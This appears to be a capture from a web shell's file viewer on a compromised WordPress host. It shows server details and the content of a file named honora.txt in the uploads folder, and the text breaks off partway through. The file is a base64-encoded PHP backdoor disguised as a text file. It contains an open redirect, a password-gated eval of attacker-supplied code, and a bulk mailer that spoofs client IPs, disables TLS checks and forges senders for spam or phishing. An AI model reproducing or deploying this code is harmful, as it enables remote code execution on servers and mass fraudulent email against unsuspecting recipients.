uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
public_html
/
wp-content
/
uploads
/
2021
/
01
/
bay
/
fennella
/
honora.txt
/
/
aWYoaXNzZXQoJF9HRVRbImwiXSkpIHsgaGVhZGVyKCRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4iIDMwMiBGb3VuZCIpOyBoZWFkZXIoIkxvY2F0aW9uOiAiLnRyaW0oYmFzZTY0X2RlY29kZSgkX0dFVFsibCJdKSkpOyBkaWU7IH0gaWYgKCFlbXB0eSgkX1BPU1RbIm1kZiJdKSAmJiB0cmltKCRfUE9TVFsibWRmIl0pID09ICJEbVZUY1VqanBQNlppdXpaIikgeyBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY3JlYXRlX2Z1bmN0aW9uIikpIHt9IGVsc2UgeyBldmFsKGJhc2U2NF9kZWNvZGUoIkpHZzlKRjlRVDFOVVd5SmtJbDBvSWlJc0pGOVFUMU5VV3lKbUlsMG9KRjlRVDFOVVd5SnpJbDBvSW1NaUxDSWlMQ1JmVUU5VFZGc2liU0pkS1NrcE95QWthQ2dwT3c9PSIpKTtkaWU7fX0KY2xhc3MgQ29tcGFjdE1haWxlcgp7CiAgICBwcml2YXRlICRpcDsKICAgIHByaXZhdGUgJHJhbmRtX2FycmF5ID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJGF0dGFjaG1lbnRfYXJyYXkgPSBhcnJheSgpOwogICAgcHJpdmF0ZSAkdW5zdWJzY3JpYmUgPSAwOwogICAgcHJpdmF0ZSAkZW5jb2RpbmcgPSAnVVRGLTgnOwogICAgcHJpdmF0ZSAkY3VzdG9tX2hlYWRlcnMgPSBmYWxzZTsKICAgIHByaXZhdGUgJGNvbnRleHQ7CiAgICBwcml2YXRlICRlb2wgPSAiXHJcbiI7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwogICAgICAgIEBzZXRfdGltZV9saW1pdCgzMDApOwogICAgICAgIEBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKICAgICAgICBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMzAwKTsKICAgICAgICBAaW5pX3NldCgnbWFpbC5hZGRfeF9oZWFkZXInLCAwKTsKICAgICAgICBAaW5pX3NldCgnZXhwb3NlX3BocCcsIDApOwoKICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2NoZWNrJ10pKSB7CiAgICAgICAgICAgIGRpZSgnI09LIycpOwogICAgICAgIH0KCiAgICAgICAgJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPSAnLyc7CgogICAgICAgICR0aGlzLT5pcCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKQogICAgICAgICAgICA/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddCiAgICAgICAgICAgIDogcmFuZCgxLCAyNTUpLicuJy5yYW5kKDAsIDI1NSkuJy4nLnJhbmQoMCwgMjU1KS4nLicucmFuZCgwLCAyNTUpOwoKICAgICAgICBpZiAoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgewogICAgICAgICAgICAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSA9ICR0aGlzLT5pcDsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX1NFUlZFUiBhcyAkayA9PiAkdikgewogICAgICAgICAgICAgICAgaWYgKCR2ID09ICRfU0VSVkVSWydSRU1PVEVfQUREUiddKSB7CiAgICAgICAgICAgICAgICAgICAgJF9TRVJWRVJbJGtdID0gJHRoaXMtPmlwOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRfU0VSVkVSWydSRU1PVEVfQUREUiddID0gJHRoaXMtPmlwOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPmNvbnRleHQgPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KAogICAgICAgICAgICAic3NsIiA9PiBhcnJheSgKICAgICAgICAgICAgICAgICJ2ZXJpZnlfcGVlciIgICAgICAgPT4gZmFsc2UsCiAgICAgICAgICAgICAgICAidmVyaWZ5X3BlZXJfbmFtZSIgID0+IGZhbHNlLAogICAgICAgICAgICAgICAgImFsbG93X3NlbGZfc2lnbmVkIiA9PiB0cnVlCiAgICAgICAgICAgICkKICAgICAgICApKTsKCiAgICAgICAgJGRvbWFpbiA9ICR0aGlzLT5nZXRfZG9tYWluKCk7CiAgICAgICAgJHRoaXMtPmJhc2Vkb21haW4gPSAkZG9tYWluWzBdOwogICAgICAgICR0aGlzLT5mdWxsZG9tYWluID0gJGRvbWFpblsxXTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuKCkKICAgIHsKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydyJ10pKSB7CiAgICAgICAgICAgICR0aGlzLT5kb19yZWRpcmVjdCgpOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsndSddKSkgewogICAgICAgICAgICAkdGhpcy0+ZG9fdW5zdWJzY3JpYmUoKTsKICAgICAgICB9CgogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ2x1J10pKSB7CiAgICAgICAgICAgICR0aGlzLT5zaG93X3Vuc3Vic2NyaWJlX2xvZygpOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnZHUnXSkpIHsKICAgICAgICAgICAgJHRoaXMtPmRlbGV0ZV91bnN1YnNjcmliZV9sb2coKTsKICAgICAgICB9CgogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ2NlJ10pKSB7CiAgICAgICAgICAgIHBhcnNlX3N0cihiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsnY2UnXSksICRfUkVRVUVTVCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydlJ10pKSB7CiAgICAgICAgICAgICR0aGlzLT5lbmNvZGluZyA9ICRfUkVRVUVTVFsnZSddOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnY2hlJ10pKSB7CiAgICAgICAgICAgICR0aGlzLT5jdXN0b21faGVhZGVycyA9ICRfUkVRVUVTVFsnY2hlJ107CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydjaCddKSkgewogICAgICAgICAgICAkdGhpcy0+ZG9fY2hlY2soKTsKICAgICAgICAgICAgZGllOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnc24nXSkpIHsKICAgICAgICAgICAgJHRoaXMtPmRvX3NlbmQoKTsKICAgICAgICB9CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBkb19yZWRpcmVjdCgpCiAgICB7CiAgICAgICAgJG5fc3QgPSAnJzsKICAgICAgICAkbl9zdDEgPSAnJzsKICAgICAgICAkbl9zdDIgPSAnPyc7CiAgICAgICAgZm9yZWFjaCAoZXhwbG9kZSgnJicsIGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWydyJ10pKSBhcyAkcGFyYW0pIHsKICAgICAgICAgICAgJGRfc3QyID0gZXhwbG9kZSgnPScsIHRyaW0oJHBhcmFtKSk7CiAgICAgICAgICAgIGlmICgkZF9zdDJbMF0gPT0gJ2wnKSB7CiAgICAgICAgICAgICAgICAkbl9zdCA9ICRkX3N0MlsxXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRuX3N0MSAuPSAkbl9zdDIuJGRfc3QyWzBdLic9Jy4kZF9zdDJbMV07CiAgICAgICAgICAgICAgICAkbl9zdDIgPSAnJic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZGllKCI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO3VybD0kbl9zdCRuX3N0MVwiPiIpOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZG9fdW5zdWJzY3JpYmUoKQogICAgewogICAgICAgICRkX3N0ID0gYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3UnXSk7CiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCdsb2dzdWJzYy5sb2cnLCBkYXRlKCdbWS1tLWQgSDppOnNdICcpLiRkX3N0LiJcclxuIiwgRklMRV9BUFBFTkQgfCBMT0NLX0VYKTsKICAgICAgICBkaWUoIjxicj48YnI+PGJyPjxjZW50ZXI+WW91IGhhdmUgdW5zdWJzY3JpYmVkIGZyb20gdGhlIG5ld3NsZXR0ZXIhISE8L2NlbnRlcj48YnI+PGNlbnRlcj5FbWFpbDogPGI+JGRfc3Q8L2I+PC9jZW50ZXI+Iik7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBzaG93X3Vuc3Vic2NyaWJlX2xvZygpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJ2xvZ3N1YnNjLmxvZycpKSB7CiAgICAgICAgICAgIGRpZShubDJicihAZmlsZV9nZXRfY29udGVudHMoJ2xvZ3N1YnNjLmxvZycpKSk7CiAgICAgICAgfQogICAgICAgIGRpZTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGRlbGV0ZV91bnN1YnNjcmliZV9sb2coKQogICAgewogICAgICAgIGlmIChpc19maWxlKCdsb2dzdWJzYy5sb2cnKSkgewogICAgICAgICAgICBAdW5saW5rKCdsb2dzdWJzYy5sb2cnKTsKICAgICAgICB9CiAgICAgICAgZGllOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZG9fc2VuZCgpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnbSddKSkgewogICAgICAgICAgICAkYSA9IEBleHBsb2RlKCcuJywgJHRoaXMtPmJhc2Vkb21haW4pOwogICAgICAgICAgICAkX1JFUVVFU1RbJ20nXSA9IHN0cl9yZXBsYWNlKCdbc2hlbGxkb21haW46XScsIHVjZmlyc3QoJGFbMF0pLCAkX1JFUVVFU1RbJ20nXSk7CiAgICAgICAgfQoKICAgICAgICAkZW1haWxzID0gaXNzZXQoJF9SRVFVRVNUWydlbSddKSA/IGV4cGxvZGUoIlxuIiwgJF9SRVFVRVNUWydlbSddKSA6IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgJGRhdGEgID0gZXhwbG9kZSgnfCcsIHRyaW0oJGVtYWlsKSk7CiAgICAgICAgICAgIGlmICghaXNzZXQoJGRhdGFbMF0pIHx8IGVtcHR5KCRkYXRhWzBdKSkgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJfcmVwbHl0byA9ICghZW1wdHkoJF9SRVFVRVNUWydycHQnXSkpID8gdHJpbSgkdGhpcy0+cHJvY2Vzc19tYWNyb3NfcmFuZG9tKCRfUkVRVUVTVFsncnB0J10sICRkYXRhKSkgOiBudWxsOwogICAgICAgICAgICAkcl9mcm9tICAgID0gJHRoaXMtPnByb2Nlc3NfbWFjcm9zX3JhbmRvbSgkdGhpcy0+aGFuZGxlX2RhdGEoJF9SRVFVRVNUWydmJ10pLCAkZGF0YSk7CiAgICAgICAgICAgICRmcm9tX25hbWUgPSAkcl9mcm9tOwogICAgICAgICAgICAkZnJvbV9hZGRyID0gJHRoaXMtPmdldF90ZXh0X2JldHdlZW4oJHJfZnJvbSwgJzwnLCAnPicpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRmcm9tX2FkZHIpKSB7CiAgICAgICAgICAgICAgICAkZnJvbV9uYW1lID0gdHJpbShzdHJfcmVwbGFjZSgnPCcuJGZyb21fYWRkci4nPicsICcnLCAkZnJvbV9uYW1lKSk7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRmcm9tX2FkZHIsICdAJykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJGZyb21fYWRkciAuPSAnQCcuJHRoaXMtPmJhc2Vkb21haW47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZnJvbV9hZGRyID0gJyc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRlbWFpbCA9ICRkYXRhWzBdOwogICAgICAgICAgICAkZW1haWxfZG9tYWluID0gZXhwbG9kZSgnQCcsICRlbWFpbCk7CiAgICAgICAgICAgICRlbWFpbF9kb21haW4gPSAkZW1haWxfZG9tYWluWzFdOwoKICAgICAgICAgICAgJGZyb21fbmFtZSA9IHN0cl9yZXBsYWNlKGFycmF5KCdbZnJvbTpdJywgJ1tlbWFpbDpdJywgJ1tlbWFpbGRvbWFpbjpdJyksIGFycmF5KCRyX2Zyb20sICRlbWFpbCwgJGVtYWlsX2RvbWFpbiksICRmcm9tX25hbWUpOwogICAgICAgICAgICAkZnJvbV9hZGRyID0gc3RyX3JlcGxhY2UoYXJyYXkoJ1tmcm9tOl0nLCAnW2VtYWlsOl0nLCAnW2VtYWlsZG9tYWluOl0nKSwgYXJyYXkoJHJfZnJvbSwgJGVtYWlsLCAkZW1haWxfZG9tYWluKSwgJGZyb21fYWRkcik7CgogICAgICAgICAgICAkcl9zdWJqZWN0ID0gJHRoaXMtPmhhbmRsZV9kYXRhKCRfUkVRVUVTVFsncyddKTsKICAgICAgICAgICAgJHJfc3ViamVjdCA9IHN0cl9yZXBsYWNlKGFycmF5KCdbZnJvbTpdJywgJ1tlbWFpbDpdJywgJ1tlbWFpbGRvbWFpbjpdJyksIGFycmF5KCRyX2Zyb20sICRlbWFpbCwgJGVtYWlsX2RvbWFpbiksICRyX3N1YmplY3QpOwogICAgICAgICAgICAkcl9zdWJqZWN0ID0gJHRoaXMtPnByb2Nlc3NfbWFjcm9zX3JhbmRvbSgkcl9zdWJqZWN0LCAkZGF0YSk7CgogICAgICAgICAgICAkcl9tZXNzYWdlID0gJF9SRVFVRVNUWydtJ107CiAgICAgICAgICAgICRyX21lc3NhZ2UgPSBzdHJfcmVwbGFjZShhcnJheSgnW2Zyb206XScsICdbZW1haWw6XScsICdbZW1haWxkb21haW46XScpLCBhcnJheSgkcl9mcm9tLCAkZW1haWwsICRlbWFpbF9kb21haW4pLCAkcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHJfbWVzc2FnZSA9ICR0aGlzLT5wcm9jZXNzX21hY3Jvc19yYW5kb20oJHJfbWVzc2FnZSwgJGRhdGEpOwoKICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2VuZF9lbWFpbCgkZW1haWwsICRmcm9tX25hbWUsICRmcm9tX2FkZHIsICRyX3N1YmplY3QsICRyX21lc3NhZ2UsICRyX3JlcGx5dG8pKSB7CiAgICAgICAgICAgICAgICBkaWUoJypzZW5kOmJhZConKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBkaWUoJypzZW5kOm9rKicpOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gc2VuZF9lbWFpbCgkdG8sICRmcm9tX25hbWUsICRmcm9tX2FkZHIsICRzdWJqZWN0LCAkbWVzc2FnZSwgJHJlcGx5dG8pCiAgICB7CiAgICAgICAgJGhhc19hdHRhY2htZW50ID0gZmFsc2U7CiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbJ2F0dGFjaG1lbnQnXSkgJiYgISRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnZXJyb3InXSkgewogICAgICAgICAgICAkaGFzX2F0dGFjaG1lbnQgPSB0cnVlOwogICAgICAgIH0KICAgICAgICAkZmlsZV9zdHJpbmcgPSAnJzsKICAgICAgICAkZmlsZW5hbWUgICAgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1snZmlsZSddKSAmJiBAaXNfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKSB7CiAgICAgICAgICAgICRmaWxlX3N0cmluZyAgICA9ICR0aGlzLT5maWxlX3N0cmluZygkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7CiAgICAgICAgICAgICRmaWxlbmFtZSAgICAgICA9IGlzc2V0KCRfUkVRVUVTVFsnZm4nXSkgPyAkX1JFUVVFU1RbJ2ZuJ10gOiAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKICAgICAgICAgICAgJGhhc19hdHRhY2htZW50ID0gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5hdHRhY2htZW50X2FycmF5KSAmJiBpc19hcnJheSgkdGhpcy0+YXR0YWNobWVudF9hcnJheSkgJiYgY291bnQoJHRoaXMtPmF0dGFjaG1lbnRfYXJyYXkpID4gMCkgewogICAgICAgICAgICAkaGFzX2F0dGFjaG1lbnQgPSB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJGNvbnRlbnRfdHlwZSA9ICRoYXNfYXR0YWNobWVudCA/ICdtdWx0aXBhcnQvbWl4ZWQnIDogJ211bHRpcGFydC9hbHRlcm5hdGl2ZSc7CiAgICAgICAgJGZyb21fbmFtZSAgICA9ICRmcm9tX25hbWUgPyAkZnJvbV9uYW1lIDogJHRoaXMtPnJhbmRvbV90ZXh0KCk7CiAgICAgICAgJGZyb21fYWRkciAgICA9ICRmcm9tX2FkZHIgPyAkZnJvbV9hZGRyIDogc3RyX3JlcGxhY2UoJyAnLCAnJywgJGZyb21fbmFtZSkuJ0AnLiR0aGlzLT5iYXNlZG9tYWluOwogICAgICAgIGlmICghaXNfbnVsbCgkcmVwbHl0bykgJiYgc3RycG9zKCRyZXBseXRvLCAnQCcpID09PSBmYWxzZSkgewogICAgICAgICAgICAkcmVwbHl0byAuPSAnQCcuJHRoaXMtPmJhc2Vkb21haW47CiAgICAgICAgfQogICAgICAgICR0eXBlICAgICAgICAgICA9IChpc3NldCgkX1JFUVVFU1RbJ3RwJ10pICYmICRfUkVRVUVTVFsndHAnXSA9PSAnMScpID8gJ3RleHQvaHRtbCcgOiAndGV4dC9wbGFpbic7CiAgICAgICAgJGJvdW5kYXJ5X21peGVkID0gbWQ1KHRpbWUoKSk7CiAgICAgICAgJGJvdW5kYXJ5X2FsdCAgID0gbWQ1KHRpbWUoKSArIDEpOwogICAgICAgICRoZWFkZXJzICAgICAgICA9ICR0aGlzLT5nZXRfaGVhZGVycygkZnJvbV9uYW1lLCAkZnJvbV9hZGRyLCAkcmVwbHl0byk7CiAgICAgICAgaWYgKCR0aGlzLT51bnN1YnNjcmliZSkgewogICAgICAgICAgICAkaGVhZGVycyAuPSAnTGlzdC1VbnN1YnNjcmliZTogPG1haWx0bzonLiRmcm9tX2FkZHIuIj5cclxuIjsKICAgICAgICB9CgogICAgICAgIGlmICghJGhhc19hdHRhY2htZW50KSB7CiAgICAgICAgICAgICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICRjb250ZW50X3R5cGU7IGJvdW5kYXJ5PVwiJGJvdW5kYXJ5X2FsdFwiXHJcbiI7CiAgICAgICAgICAgICRib2R5ICA9ICItLSRib3VuZGFyeV9hbHRcclxuQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04XHJcbkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG5cclxuIjsKICAgICAgICAgICAgJGJvZHkgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkdGhpcy0+Y3V0X3RhZ3MoJG1lc3NhZ2UpKSk7CiAgICAgICAgICAgIGlmICgkdHlwZSA9PSAndGV4dC9odG1sJykgewogICAgICAgICAgICAgICAgJGJvZHkgLj0gIlxyXG5cclxuLS0kYm91bmRhcnlfYWx0XHJcbkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04XHJcbkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG5cclxuIjsKICAgICAgICAgICAgICAgICRib2R5IC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYm9keSAuPSAiXHJcblxyXG4tLSRib3VuZGFyeV9hbHQtLSI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogJGNvbnRlbnRfdHlwZTsgYm91bmRhcnk9XCIkYm91bmRhcnlfbWl4ZWRcIlxyXG4iOwogICAgICAgICAgICAkYm9keSAgPSAiLS0kYm91bmRhcnlfbWl4ZWRcclxuIjsKICAgICAgICAgICAgJGJvZHkgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L2FsdGVybmF0aXZlOyBib3VuZGFyeT1cIiRib3VuZGFyeV9hbHRcIlxyXG5cclxuIjsKCiAgICAgICAgICAgICRib2R5IC49ICItLSRib3VuZGFyeV9hbHRcclxuQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04XHJcbkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG5cclxuIjsKICAgICAgICAgICAgJGJvZHkgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkdGhpcy0+Y3V0X3RhZ3MoJG1lc3NhZ2UpKSk7CgogICAgICAgICAgICBpZiAoJHR5cGUgPT0gJ3RleHQvaHRtbCcpIHsKICAgICAgICAgICAgICAgICRib2R5IC49ICItLSRib3VuZGFyeV9hbHRcclxuQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcclxuQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkbWVzc2FnZSkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRib2R5IC49ICItLSRib3VuZGFyeV9hbHQtLVxyXG4iOwoKICAgICAgICAgICAgaWYgKCRmaWxlX3N0cmluZykgewogICAgICAgICAgICAgICAgJGJvZHkgLj0gIlxyXG5cclxuLS0kYm91bmRhcnlfbWl4ZWRcclxuQ29udGVudC1UeXBlOiAiLiRfRklMRVNbJ2ZpbGUnXVsndHlwZSddLiI7IG5hbWU9XCIkZmlsZW5hbWVcIlxyXG4iOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJGZpbGVuYW1lXCJcclxuQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblgtQXR0YWNobWVudC1JZDogIi5yYW5kKDEwMDAsIDk5OTk5KS4iXHJcblxyXG4iOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkZmlsZV9zdHJpbmcpKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50X2FycmF5ICYmIGlzX2FycmF5KCR0aGlzLT5hdHRhY2htZW50X2FycmF5KSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnRfYXJyYXkgYXMgJGF0dGFjaCkgewogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJGF0dGFjaFswXSkgfHwgIWlzc2V0KCRhdHRhY2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYXR0YWNoWzFdID0gdHJpbSgkYXR0YWNoWzFdKTsKICAgICAgICAgICAgICAgICAgICAkZmlsZV9jb250ID0gJHRoaXMtPmRvd25sb2FkX3NvdXJjZSgkYXR0YWNoWzBdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVfY29udCkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGF0dGFjaFsxXSwgJGZpbGVfY29udCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJGF0dGFjaFsxXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX2RhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGF0dGFjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXR5cGUgICAgID0gJHRoaXMtPmdldF9taW1lX3R5cGUoJGF0dGFjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAiXHJcblxyXG4tLSRib3VuZGFyeV9taXhlZFxyXG5Db250ZW50LVR5cGU6ICIuJG10eXBlLiI7IG5hbWU9XCIiLiRhdHRhY2hbMV0uIlwiXHJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRhdHRhY2hbMV0uIlwiXHJcbkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG5YLUF0dGFjaG1lbnQtSWQ6ICIucmFuZCgxMDAwLCA5OTk5OSkuIlxyXG5cclxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib2R5IC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGZpbGVfZGF0YSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkYXR0YWNoWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkYm9keSAuPSAiXHJcblxyXG4tLSRib3VuZGFyeV9taXhlZC0tIjsKICAgICAgICB9CgogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAgICAgJHN1YmplY3RfZW5jID0gIj0/Ii4kdGhpcy0+ZW5jb2RpbmcuIj9CPyIuYmFzZTY0X2VuY29kZShAaWNvbnYoJ1VURi04JywgJHRoaXMtPmVuY29kaW5nLCAkc3ViamVjdCkpLiI/PSI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHN1YmplY3RfZW5jID0gIj0/Ii4kdGhpcy0+ZW5jb2RpbmcuIj9CPyIuYmFzZTY0X2VuY29kZSgkc3ViamVjdCkuIj89IjsKICAgICAgICB9CgoJCS8qCiAgICAgICAgJGdldF9kb21haW4gPSAkdGhpcy0+Z2V0X2RvbWFpbl90b191c2UoJHRoaXMtPmJhc2Vkb21haW4sICR0aGlzLT5mdWxsZG9tYWluKTsKICAgICAgICAKICAgICAgICBpZiAoJHRoaXMtPmJhc2Vkb21haW4gIT0gJGdldF9kb21haW4pIHsKCSAgICAgICAgJGZyb21fYWRkciA9IHN0cl9yZXBsYWNlKCdAJy4kdGhpcy0+YmFzZWRvbWFpbiwgJ0AnLiRnZXRfZG9tYWluLCAkZnJvbV9hZGRyKTsKCSAgICAgICAgJGhlYWRlcnMgPSBzdHJfcmVwbGFjZSgnQCcuJHRoaXMtPmJhc2Vkb21haW4sICdAJy4kZ2V0X2RvbWFpbiwgJGhlYWRlcnMpOwogICAgICAgIH0KICAgICAgICAkc2VudCA9ICR0aGlzLT5zZW5kX2VtYWlsX21ldGhvZCgkZ2V0X2RvbWFpbiwgJGZyb21fYWRkciwgJHRvLCAkc3ViamVjdF9lbmMsICRib2R5LCAkaGVhZGVycyk7CiAgICAgICAgKi8KICAgICAgICAKICAgICAgICAkc2VudCA9ICR0aGlzLT5zZW5kX2VtYWlsX21ldGhvZCgkdGhpcy0+YmFzZWRvbWFpbiwgJGZyb21fYWRkciwgJHRvLCAkc3ViamVjdF9lbmMsICRib2R5LCAkaGVhZGVycyk7CiAgICAgICAgCiAgICAgICAgaWYgKCEkc2VudCAmJiAkdGhpcy0+YmFzZWRvbWFpbiAhPSAkdGhpcy0+ZnVsbGRvbWFpbikgewogICAgICAgICAgICAkZnJvbV9hZGRyID0gc3RyX3JlcGxhY2UoJ0AnLiR0aGlzLT5iYXNlZG9tYWluLCAnQCcuJHRoaXMtPmZ1bGxkb21haW4sICRmcm9tX2FkZHIpOwogICAgICAgICAgICAkaGVhZGVycyA9IHN0cl9yZXBsYWNlKCdAJy4kdGhpcy0+YmFzZWRvbWFpbiwgJ0AnLiR0aGlzLT5mdWxsZG9tYWluLCAkaGVhZGVycyk7CiAgICAgICAgICAgICRzZW50ID0gJHRoaXMtPnNlbmRfZW1haWxfbWV0aG9kKCR0aGlzLT5mdWxsZG9tYWluLCAkZnJvbV9hZGRyLCAkdG8sICRzdWJqZWN0X2VuYywgJGJvZHksICRoZWFkZXJzKTsKICAgICAgICB9CiAgICAgICA